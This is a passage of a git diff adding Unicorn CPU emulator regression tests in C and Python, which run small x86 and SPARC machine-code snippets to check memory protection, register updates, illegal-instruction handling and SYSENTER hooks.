+ +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +#include + +#include + +const uint8_t PROGRAM[] = + "\xeb\x1a\x58\x83\xc0\x04\x83\xe0\xfc\x83\xc0\x01\xc7\x00\x78\x56" + "\x34\x12\x83\xc0\x07\xc7\x00\x21\x43\x65\x87\x90\xe8\xe1\xff\xff" + "\xff" "xxxxAAAAxxxBBBB"; +// total size: 33 bytes + +/* + jmp short bottom +top: + pop eax + add eax, 4 + and eax, 0xfffffffc + add eax, 1 ; unaligned + mov dword [eax], 0x12345678 ; try to write into code section + add eax, 7 ; aligned + mov dword [eax], 0x87654321 ; try to write into code section + nop +bottom: + call top +*/ + +// callback for tracing instruction +/*static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + uint32_t esp; + printf(">>> Tracing instruction at 0x%"PRIx64 ", instruction size = 0x%x\n", address, size); + + uc_reg_read(uc, UC_X86_REG_ESP, &esp); + printf(">>> --- ESP is 0x%x\n", esp); + +} +*/ + +// callback for tracing memory access (READ or WRITE) +static bool hook_mem_invalid(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data) +{ + uint32_t esp; + uc_reg_read(uc, UC_X86_REG_ESP, &esp); + + switch(type) { + default: + // return false to indicate we want to stop emulation + return false; + case UC_MEM_WRITE: + //if this is a push, esp has not been adjusted yet + if (esp == (address + size)) { + uint32_t upper; + upper = (esp + 0xfff) & ~0xfff; + printf(">>> Stack appears to be missing at 0x%"PRIx64 ", allocating now\n", address); + // map this memory in with 2MB in size + uc_mem_map(uc, upper - 0x8000, 0x8000, UC_PROT_READ | UC_PROT_WRITE); + // return true to indicate we want to continue + return true; + } + printf(">>> Missing memory is being WRITTEN at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", + address, size, value); + return false; + case UC_MEM_WRITE_PROT: + printf(">>> RO memory is being WRITTEN at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", + address, size, value); + return false; + } +} + + +#define STACK 0x500000 +#define STACK_SIZE 0x5000 + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_hook trace1; + uc_err err; + uint8_t bytes[8]; + uint32_t esp; + int map_stack = 0; + + if (argc == 2 && strcmp(argv[1], "--map-stack") == 0) { + map_stack = 1; + } + + printf("Memory mapping test\n"); + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err) { + printf("Failed on uc_open() with error returned: %u\n", err); + return 1; + } + + uc_mem_map(uc, 0x100000, 0x1000, UC_PROT_ALL); + uc_mem_map(uc, 0x200000, 0x2000, UC_PROT_ALL); + uc_mem_map(uc, 0x300000, 0x3000, UC_PROT_ALL); + uc_mem_map(uc, 0x400000, 0x4000, UC_PROT_READ); + + if (map_stack) { + printf("Pre-mapping stack\n"); + uc_mem_map(uc, STACK, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE); + } else { + printf("Mapping stack on first invalid memory access\n"); + } + + esp = STACK + STACK_SIZE; + + uc_reg_write(uc, UC_X86_REG_ESP, &esp); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, 0x400000, PROGRAM, sizeof(PROGRAM))) { + printf("Failed to write emulation code to memory, quit!\n"); + return 2; + } else { + printf("Allowed to write to read only memory via uc_mem_write\n"); + } + + //uc_hook_add(uc, &trace2, UC_HOOK_CODE, hook_code, NULL, 0x400000, 0x400fff); + + // intercept invalid memory events + uc_hook_add(uc, &trace1, UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_WRITE_PROT, hook_mem_invalid, NULL, 1, 0); + + // emulate machine code in infinite time + printf("BEGIN execution - 1\n"); + err = uc_emu_start(uc, 0x400000, 0x400000 + sizeof(PROGRAM), 0, 10); + if (err) { + printf("Expected failue on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } else { + printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n"); + } + printf("END execution - 1\n"); + + // emulate machine code in infinite time + printf("BEGIN execution - 2\n"); + //update eax to point to aligned memory (same as add eax,7 above) + uint32_t eax = 0x40002C; + uc_reg_write(uc, UC_X86_REG_EAX, &eax); + //resume execution at the mov dword [eax], 0x87654321 + //to test an aligned write as well + err = uc_emu_start(uc, 0x400015, 0x400000 + sizeof(PROGRAM), 0, 2); + if (err) { + printf("Expected failure on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } else { + printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n"); + } + printf("END execution - 2\n"); + + printf("Verifying content at 0x400025 is unchanged\n"); + if (!uc_mem_read(uc, 0x400025, bytes, 4)) { + printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)0x400025, *(uint32_t*) bytes); + if (0x41414141 != *(uint32_t*) bytes) { + printf("ERROR content in read only memory changed\n"); + } else { + printf("SUCCESS content in read only memory unchanged\n"); + } + } else { + printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4)); + return 4; + } + + printf("Verifying content at 0x40002C is unchanged\n"); + if (!uc_mem_read(uc, 0x40002C, bytes, 4)) { + printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)0x40002C, *(uint32_t*) bytes); + if (0x42424242 != *(uint32_t*) bytes) { + printf("ERROR content in read only memory changed\n"); + } else { + printf("SUCCESS content in read only memory unchanged\n"); + } + } else { + printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4)); + return 4; + } + + printf("Verifying content at bottom of stack is readable and correct\n"); + if (!uc_mem_read(uc, esp - 4, bytes, 4)) { + printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)(esp - 4), *(uint32_t*) bytes); + } else { + printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4)); + return 4; + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/run_across_bb.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/run_across_bb.py new file mode 100644 index 0000000..074db4d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/run_across_bb.py @@ -0,0 +1,195 @@ +#!/usr/bin/python +# +# This test demonstrates emulation behavior within and across +# basic blocks. + +from __future__ import print_function +import binascii +import regress +import struct + +from unicorn import * +from unicorn.x86_const import * + + +CODE = binascii.unhexlify(b"".join([ + b"b800000000", # 1000: b8 00 00 00 00 mov eax,0x0 + b"40", # 1005: 40 inc eax + b"40", # 1006: 40 inc eax + b"6810100000", # 1007: 68 10 10 00 00 push 0x1010 + b"c3", # 100c: c3 ret + b"cc", # 100d: cc int3 + b"cc", # 100e: cc int3 + b"cc", # 100f: cc int3 + b"b800000000", # 1010: b8 00 00 00 00 mov eax,0x0 + b"40", # 1015: 40 inc eax + b"40", # 1016: 40 inc eax + ])) + + +def showpc(mu): + pc = mu.reg_read(UC_X86_REG_EIP) + print("pc: 0x%x" % (pc)) + + +class RunAcrossBBTest(regress.RegressTest): + def test_run_all(self): + try: + ####################################################################### + # emu SETUP + ####################################################################### + print("\n---- test: run_all ----") + + + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size)) + mu.hook_add(UC_HOOK_CODE, hook_code) + + # base of CODE + mu.mem_map(0x1000, 0x1000) + mu.mem_write(0x1000, CODE) + + # stack + mu.mem_map(0x2000, 0x1000) + + mu.reg_write(UC_X86_REG_EIP, 0x1000) + mu.reg_write(UC_X86_REG_ESP, 0x2800) + self.assertEqual(0x1000, mu.reg_read(UC_X86_REG_EIP), "unexpected PC") + self.assertEqual(0x2800, mu.reg_read(UC_X86_REG_ESP), "unexpected SP") + showpc(mu) + + mu.emu_start(0x1000, 0x1016) + # should exec the following four instructions: + # 1000: b8 00 00 00 00 mov eax,0x0 < + # 1005: 40 inc eax < + # 1006: 40 inc eax < + # 1007: 68 10 10 00 00 push 0x1010 < + # 100c: c3 ret -----------+ + # 100d: cc int3 | + # 100e: cc int3 | + # 100f: cc int3 | + # 1010: b8 00 00 00 00 mov eax,0x0 <-+ + # 1015: 40 inc eax < + # 1016: 40 inc eax < + self.assertEqual(0x1016, mu.reg_read(UC_X86_REG_EIP), "unexpected PC (2)") + self.assertEqual(0x2800, mu.reg_read(UC_X86_REG_ESP), "unexpected SP (2)") + showpc(mu) + + except UcError as e: + if e.errno == UC_ERR_FETCH_UNMAPPED: + # during initial test dev, bad fetch at 0x1010, but the data is there, + # and this proves it + print("!!! about to bail due to bad fetch... here's the data at PC:") + print(binascii.hexlify(mu.mem_read(mu.reg_read(UC_X86_REG_EIP), 0x8))) + + self.assertFalse(True, "ERROR: %s @ 0x%x" % (e, mu.reg_read(UC_X86_REG_EIP))) + + + + def test_run_across_bb(self): + try: + ####################################################################### + # emu SETUP + ####################################################################### + print("\n---- test: run_across_bb ----") + + + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size)) + mu.hook_add(UC_HOOK_CODE, hook_code) + + # base of CODE + mu.mem_map(0x1000, 0x1000) + mu.mem_write(0x1000, CODE) + + # stack + mu.mem_map(0x2000, 0x1000) + + mu.reg_write(UC_X86_REG_EIP, 0x1000) + mu.reg_write(UC_X86_REG_ESP, 0x2800) + self.assertEqual(0x1000, mu.reg_read(UC_X86_REG_EIP), "unexpected PC") + self.assertEqual(0x2800, mu.reg_read(UC_X86_REG_ESP), "unexpected SP") + showpc(mu) + + + ####################################################################### + # emu_run ONE: + # exectue four instructions, until the last instruction in a BB + ####################################################################### + + + mu.emu_start(0x1000, 0x100c) + # should exec the following four instructions: + # 1000: b8 00 00 00 00 mov eax,0x0 < + # 1005: 40 inc eax < + # 1006: 40 inc eax < + # 1007: 68 10 10 00 00 push 0x1010 < + + # should be at 0x100c, as requested + self.assertEqual(0x100c, mu.reg_read(UC_X86_REG_EIP), "unexpected PC (2)") + + # single push, so stack diff is 0x4 + TOP_OF_STACK = 0x2800-0x4 + self.assertEqual(TOP_OF_STACK, mu.reg_read(UC_X86_REG_ESP), "unexpected SP (2)") + + # top of stack should be 0x1010 + self.assertEqual(0x1010, + struct.unpack(" +#include +#include + +#define ADDRESS 0x1000000 +#define STACK 0x0020D000 +#define STACK2 0x0030D000 +#define STACK_SIZE 16384 +#define SIZE (2 * 1024 * 1024) +#define CODE32 "\x8B\x04\x24\xA3\x40\x00\x00\x01\xA1\x40\x00\x00\x01" + +bool hook_mem_rw(uc_engine *uc, uc_mem_type type, uint64_t address, int size, int64_t value, void *user_data) +{ + unsigned int EIP; + + uc_reg_read(uc, UC_X86_REG_EIP, &EIP); + switch(type) + { + default: + return false; + break; + case UC_MEM_WRITE: + printf("Hooked write to address 0x%08"PRIX64" with value 0x%08"PRIX64" at EIP %08X\n", address, value, EIP); + + return true; + break; + case UC_MEM_READ: + printf("Hooked read from address 0x%08"PRIX64" with value 0x%08"PRIX64" at EIP %08X\n", address, value, EIP); + + return true; + break; + } +} + +int main(int argc, char *argv[]) +{ + uc_engine *uc; + uc_hook trace; + uc_err err; + unsigned int EAX, ESP, val = 0x0c0c0c0c, stkval = STACK; + + EAX = 0; + ESP = STACK+0x4; + + // Initialize emulator in X86-64bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if(err) { + printf("Failed on uc_open() with error returned: %s\n", uc_strerror(err)); + return 1; + } + + err = uc_mem_map(uc, ADDRESS, SIZE, UC_PROT_ALL); + if(err != UC_ERR_OK) { + printf("Failed to map memory %s\n", uc_strerror(err)); + return 1; + } + + err = uc_mem_write(uc, ADDRESS, CODE32, sizeof(CODE32) - 1); + if(err != UC_ERR_OK) { + printf("Failed to write to memory %s\n", uc_strerror(err)); + return 1; + } + +loop: + err = uc_mem_map(uc, stkval, STACK_SIZE, UC_PROT_ALL); + if(err != UC_ERR_OK) { + printf("Failed to map memory %s\n", uc_strerror(err)); + return 1; + } + + err = uc_mem_write(uc, ESP, &val, sizeof(val)); + if(err != UC_ERR_OK) { + printf("Failed to write to memory %s\n", uc_strerror(err)); + return 1; + } + + + uc_hook_add(uc, &trace, UC_HOOK_MEM_WRITE | UC_HOOK_MEM_READ, (void *)hook_mem_rw, NULL, 1, 0); + + uc_reg_write(uc, UC_X86_REG_EAX, &EAX); + uc_reg_write(uc, UC_X86_REG_ESP, &ESP); + + err = uc_emu_start(uc, ADDRESS, ADDRESS + (sizeof(CODE32) - 1), 0, 0); + if(err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + + uc_close(uc); + return 1; + } + + uc_reg_read(uc, UC_X86_REG_EAX, &EAX); + + printf(">>> EAX = %08X\n", EAX); + + if(stkval != STACK2) + { + printf("=== Beginning test two ===\n"); + ESP = STACK2+0x4; + EAX = 0; + stkval = STACK2; + goto loop; + } + + uc_close(uc); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/segfault_on_stop.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/segfault_on_stop.py new file mode 100644 index 0000000..8d57710 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/segfault_on_stop.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python + +import regress +import unicorn + + +class SegfaultOnStop(regress.RegressTest): + def test(self): + unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_64).emu_stop() + self.assertTrue(True, "If not reached, then we have a crashing bug.") + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill.c new file mode 100644 index 0000000..9e5061d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill.c @@ -0,0 +1,47 @@ +#include +#include +#include +#include + +#define UC_BUG_WRITE_SIZE 128 +#define UC_BUG_WRITE_ADDR 0x1000 // fix this by change this to 0x2000 + +int got_sigill = 0; + +void _interrupt(uc_engine *uc, uint32_t intno, void *user_data) +{ + if (intno == 6) { + uc_emu_stop(uc); + got_sigill = 1; + } +} + +int main() +{ + int size; + uint8_t *buf; + uc_engine *uc; + uc_hook uh_trap; + uc_err err = uc_open (UC_ARCH_X86, UC_MODE_64, &uc); + if (err) { + fprintf (stderr, "Cannot initialize unicorn\n"); + return 1; + } + size = UC_BUG_WRITE_SIZE; + buf = malloc (size); + if (!buf) { + fprintf (stderr, "Cannot allocate\n"); + return 1; + } + memset (buf, 0, size); + if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) { + uc_mem_write(uc, UC_BUG_WRITE_ADDR, + (const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8); + } + uc_hook_add(uc, &uh_trap, UC_HOOK_INTR, _interrupt, NULL, 1, 0); + uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1); + uc_close(uc); + free(buf); + printf ("Correct: %s\n", got_sigill? "YES": "NO"); + return got_sigill? 0: 1; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill2.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill2.c new file mode 100644 index 0000000..8e6ad56 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill2.c @@ -0,0 +1,28 @@ +#include +#include +#include +#include + +#define UC_BUG_WRITE_SIZE 128 +#define UC_BUG_WRITE_ADDR 0x2000 + +int main() +{ + int size; + uc_engine *uc; + + uc_err err = uc_open (UC_ARCH_X86, UC_MODE_64, &uc); + if (err) { + fprintf (stderr, "Cannot initialize unicorn\n"); + return 1; + } + size = UC_BUG_WRITE_SIZE; + if (!uc_mem_map (uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) { + uc_mem_write (uc, UC_BUG_WRITE_ADDR, + (const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8); + } + err = uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1); + uc_close(uc); + printf ("Error = %u (%s)\n", err, uc_strerror(err)); + return err? -1: 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc64.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc64.py new file mode 100644 index 0000000..3430763 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc64.py @@ -0,0 +1,24 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.sparc_const import * + +PAGE_SIZE = 1 * 1024 * 1024 + +uc = Uc(UC_ARCH_SPARC, UC_MODE_SPARC64|UC_MODE_BIG_ENDIAN) +uc.reg_write(UC_SPARC_REG_SP, 100) +print 'writing sp = 100' + + # 0: b0 06 20 01 inc %i0 + # 4: b2 06 60 01 inc %i1 + +CODE = "\xb0\x06\x20\x01" \ + "\xb2\x06\x60\x01" + +uc.mem_map(0, PAGE_SIZE) +uc.mem_write(0, CODE) +uc.emu_start(0, len(CODE), 0, 2) + +print 'sp =', uc.reg_read(UC_SPARC_REG_SP) +print 'i0 =', uc.reg_read(UC_SPARC_REG_I0) +print 'i1 =', uc.reg_read(UC_SPARC_REG_I1) diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_jump_to_zero.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_jump_to_zero.c new file mode 100644 index 0000000..538405f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_jump_to_zero.c @@ -0,0 +1,27 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_SPARC +#define HARDWARE_MODE UC_MODE_SPARC32|UC_MODE_BIG_ENDIAN + +#define MEMORY_STARTING_ADDRESS 0x1000000 +#define MEMORY_SIZE 2 * 1024 * 1024 +#define MEMORY_PERMISSIONS UC_PROT_ALL + +#define BINARY_CODE "\x02\xbc\x00\x00" + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 20); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_reg.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_reg.py new file mode 100644 index 0000000..3d55065 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_reg.py @@ -0,0 +1,205 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.sparc_const import * + +PAGE_SIZE = 1 * 1024 * 1024 + +uc = Uc(UC_ARCH_SPARC, UC_MODE_SPARC32|UC_MODE_BIG_ENDIAN) +uc.reg_write(UC_SPARC_REG_SP, 100) +uc.reg_write(UC_SPARC_REG_FP, 200) + + # 0x0: \x80\x00\x20\x01 add %g0, 1, %g0 + # 0x4: \x82\x00\x60\x01 add %g1, 1, %g1 + # 0x8: \x84\x00\xA0\x01 add %g2, 1, %g2 + # 0xc: \x86\x00\xE0\x01 add %g3, 1, %g3 + # 0x10: \x88\x01\x20\x01 add %g4, 1, %g4 + # 0x14: \x8A\x01\x60\x01 add %g5, 1, %g5 + # 0x18: \x8C\x01\xA0\x01 add %g6, 1, %g6 + # 0x1c: \x8E\x01\xE0\x01 add %g7, 1, %g7 + # 0x20: \x90\x02\x20\x01 add %o0, 1, %o0 + # 0x24: \x92\x02\x60\x01 add %o1, 1, %o1 + # 0x28: \x94\x02\xA0\x01 add %o2, 1, %o2 + # 0x2c: \x96\x02\xE0\x01 add %o3, 1, %o3 + # 0x30: \x98\x03\x20\x01 add %o4, 1, %o4 + # 0x34: \x9A\x03\x60\x01 add %o5, 1, %o5 + # 0x38: \x9C\x03\xA0\x01 add %sp, 1, %sp + # 0x3c: \x9E\x03\xE0\x01 add %o7, 1, %o7 + # 0x40: \xA0\x04\x20\x01 add %l0, 1, %l0 + # 0x44: \xA2\x04\x60\x01 add %l1, 1, %l1 + # 0x48: \xA4\x04\xA0\x01 add %l2, 1, %l2 + # 0x4c: \xA6\x04\xE0\x01 add %l3, 1, %l3 + # 0x50: \xA8\x05\x20\x01 add %l4, 1, %l4 + # 0x54: \xAA\x05\x60\x01 add %l5, 1, %l5 + # 0x58: \xAC\x05\xA0\x01 add %l6, 1, %l6 + # 0x5c: \xAE\x05\xE0\x01 add %l7, 1, %l7 + # 0x0: \xB0\x06\x20\x01 add %i0, 1, %i0 + # 0x4: \xB2\x06\x60\x01 add %i1, 1, %i1 + # 0x8: \xB4\x06\xA0\x01 add %i2, 1, %i2 + # 0xc: \xB6\x06\xE0\x01 add %i3, 1, %i3 + # 0x10: \xB8\x07\x20\x01 add %i4, 1, %i4 + # 0x14: \xBA\x07\x60\x01 add %i5, 1, %i5 + # 0x18: \xBC\x07\xA0\x01 add %fp, 1, %fp + # 0x1c: \xBE\x07\xE0\x01 add %i7, 1, %i7 + + +CODE = "\x80\x00\x20\x01" \ + "\x82\x00\x60\x01" \ + "\x84\x00\xA0\x01" \ + "\x86\x00\xE0\x01" \ + "\x88\x01\x20\x01" \ + "\x8A\x01\x60\x01" \ + "\x8C\x01\xA0\x01" \ + "\x8E\x01\xE0\x01" \ + "\x90\x02\x20\x01" \ + "\x92\x02\x60\x01" \ + "\x94\x02\xA0\x01" \ + "\x96\x02\xE0\x01" \ + "\x98\x03\x20\x01" \ + "\x9A\x03\x60\x01" \ + "\x9C\x03\xA0\x01" \ + "\x9E\x03\xE0\x01" \ + "\xA0\x04\x20\x01" \ + "\xA2\x04\x60\x01" \ + "\xA4\x04\xA0\x01" \ + "\xA6\x04\xE0\x01" \ + "\xA8\x05\x20\x01" \ + "\xAA\x05\x60\x01" \ + "\xAC\x05\xA0\x01" \ + "\xAE\x05\xE0\x01" \ + "\xB0\x06\x20\x01" \ + "\xB2\x06\x60\x01" \ + "\xB4\x06\xA0\x01" \ + "\xB6\x06\xE0\x01" \ + "\xB8\x07\x20\x01" \ + "\xBA\x07\x60\x01" \ + "\xBC\x07\xA0\x01" \ + "\xBE\x07\xE0\x01" + + +uc.mem_map(0, PAGE_SIZE) +uc.mem_write(0, CODE) +uc.emu_start(0, len(CODE), 0, 32) + +def print_registers(mu): + g0 = mu.reg_read(UC_SPARC_REG_G0) + g1 = mu.reg_read(UC_SPARC_REG_G1) + g2 = mu.reg_read(UC_SPARC_REG_G2) + g3 = mu.reg_read(UC_SPARC_REG_G3) + g4 = mu.reg_read(UC_SPARC_REG_G4) + g5 = mu.reg_read(UC_SPARC_REG_G5) + g6 = mu.reg_read(UC_SPARC_REG_G6) + g7 = mu.reg_read(UC_SPARC_REG_G7) + + o0 = mu.reg_read(UC_SPARC_REG_O0) + o1 = mu.reg_read(UC_SPARC_REG_O1) + o2 = mu.reg_read(UC_SPARC_REG_O2) + o3 = mu.reg_read(UC_SPARC_REG_O3) + o4 = mu.reg_read(UC_SPARC_REG_O4) + o5 = mu.reg_read(UC_SPARC_REG_O5) + o6 = mu.reg_read(UC_SPARC_REG_O6) + o7 = mu.reg_read(UC_SPARC_REG_O7) + + l0 = mu.reg_read(UC_SPARC_REG_L0) + l1 = mu.reg_read(UC_SPARC_REG_L1) + l2 = mu.reg_read(UC_SPARC_REG_L2) + l3 = mu.reg_read(UC_SPARC_REG_L3) + l4 = mu.reg_read(UC_SPARC_REG_L4) + l5 = mu.reg_read(UC_SPARC_REG_L5) + l6 = mu.reg_read(UC_SPARC_REG_L6) + l7 = mu.reg_read(UC_SPARC_REG_L7) + + i0 = mu.reg_read(UC_SPARC_REG_I0) + i1 = mu.reg_read(UC_SPARC_REG_I1) + i2 = mu.reg_read(UC_SPARC_REG_I2) + i3 = mu.reg_read(UC_SPARC_REG_I3) + i4 = mu.reg_read(UC_SPARC_REG_I4) + i5 = mu.reg_read(UC_SPARC_REG_I5) + i6 = mu.reg_read(UC_SPARC_REG_I6) + i7 = mu.reg_read(UC_SPARC_REG_I7) + + pc = mu.reg_read(UC_SPARC_REG_PC) + sp = mu.reg_read(UC_SPARC_REG_SP) + fp = mu.reg_read(UC_SPARC_REG_FP) + print(" G0 = %d" % g0) + print(" G1 = %d" % g1) + print(" G2 = %d" % g2) + print(" G3 = %d" % g3) + print(" G4 = %d" % g4) + print(" G5 = %d" % g5) + print(" G6 = %d" % g6) + print(" G7 = %d" % g7) + print("") + print(" O0 = %d" % o0) + print(" O1 = %d" % o1) + print(" O2 = %d" % o2) + print(" O3 = %d" % o3) + print(" O4 = %d" % o4) + print(" O5 = %d" % o5) + print(" O6 = %d" % o6) + print(" O7 = %d" % o7) + print("") + print(" L0 = %d" % l0) + print(" L1 = %d" % l1) + print(" L2 = %d" % l2) + print(" L3 = %d" % l3) + print(" L4 = %d" % l4) + print(" L5 = %d" % l5) + print(" L6 = %d" % l6) + print(" L7 = %d" % l7) + print("") + print(" I0 = %d" % i0) + print(" I1 = %d" % i1) + print(" I2 = %d" % i2) + print(" I3 = %d" % i3) + print(" I4 = %d" % i4) + print(" I5 = %d" % i5) + print(" I6 = %d" % i6) + print(" I7 = %d" % i7) + print("") + print(" PC = %d" % pc) + print(" SP = %d" % sp) + print(" FP = %d" % fp) + print("") + +print_registers(uc) + +assert uc.reg_read(UC_SPARC_REG_PC) == 132 # make sure we executed all instructions +assert uc.reg_read(UC_SPARC_REG_SP) == 101 +assert uc.reg_read(UC_SPARC_REG_FP) == 201 + +assert uc.reg_read(UC_SPARC_REG_G0) == 0 # G0 is always zero +assert uc.reg_read(UC_SPARC_REG_G1) == 1 +assert uc.reg_read(UC_SPARC_REG_G2) == 1 +assert uc.reg_read(UC_SPARC_REG_G3) == 1 +assert uc.reg_read(UC_SPARC_REG_G4) == 1 +assert uc.reg_read(UC_SPARC_REG_G5) == 1 +assert uc.reg_read(UC_SPARC_REG_G6) == 1 +assert uc.reg_read(UC_SPARC_REG_G7) == 1 + +assert uc.reg_read(UC_SPARC_REG_O0) == 1 +assert uc.reg_read(UC_SPARC_REG_O1) == 1 +assert uc.reg_read(UC_SPARC_REG_O2) == 1 +assert uc.reg_read(UC_SPARC_REG_O3) == 1 +assert uc.reg_read(UC_SPARC_REG_O4) == 1 +assert uc.reg_read(UC_SPARC_REG_O5) == 1 +assert uc.reg_read(UC_SPARC_REG_O6) == 101 +assert uc.reg_read(UC_SPARC_REG_O7) == 1 + +assert uc.reg_read(UC_SPARC_REG_L0) == 1 +assert uc.reg_read(UC_SPARC_REG_L1) == 1 +assert uc.reg_read(UC_SPARC_REG_L2) == 1 +assert uc.reg_read(UC_SPARC_REG_L3) == 1 +assert uc.reg_read(UC_SPARC_REG_L4) == 1 +assert uc.reg_read(UC_SPARC_REG_L5) == 1 +assert uc.reg_read(UC_SPARC_REG_L6) == 1 +assert uc.reg_read(UC_SPARC_REG_L7) == 1 + +assert uc.reg_read(UC_SPARC_REG_I0) == 1 +assert uc.reg_read(UC_SPARC_REG_I1) == 1 +assert uc.reg_read(UC_SPARC_REG_I2) == 1 +assert uc.reg_read(UC_SPARC_REG_I3) == 1 +assert uc.reg_read(UC_SPARC_REG_I4) == 1 +assert uc.reg_read(UC_SPARC_REG_I5) == 1 +assert uc.reg_read(UC_SPARC_REG_I6) == 201 +assert uc.reg_read(UC_SPARC_REG_I7) == 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/sysenter_hook_x86.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sysenter_hook_x86.c new file mode 100644 index 0000000..7cf7b7c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/sysenter_hook_x86.c @@ -0,0 +1,60 @@ +#include + +// code to be emulated +#define X86_CODE32 "\x0F\x34" // SYSENTER + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +int got_sysenter = 0; + +void sysenter (uc_engine *uc, void *user) { + printf ("SYSENTER hook called.\n"); + got_sysenter = 1; +} + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_err err; + uc_hook sysenterHook; + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1)) { + printf("Failed to write emulation code to memory, quit!\n"); + return -1; + } + + // Hook the SYSENTER instructions + if (uc_hook_add (uc, &sysenterHook, UC_HOOK_INSN, sysenter, NULL, 1, 0, UC_X86_INS_SYSENTER) != UC_ERR_OK) { + printf ("Cannot hook SYSENTER instruction\n."); + return -1; + } + + // emulate code in infinite time & unlimited instructions + err=uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32) - 1, 0, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + printf("Emulation done.\n"); + uc_close(uc); + + if (!got_sysenter) { + printf ("[!] ERROR : SYSENTER hook not called.\n"); + return -1; + } + + 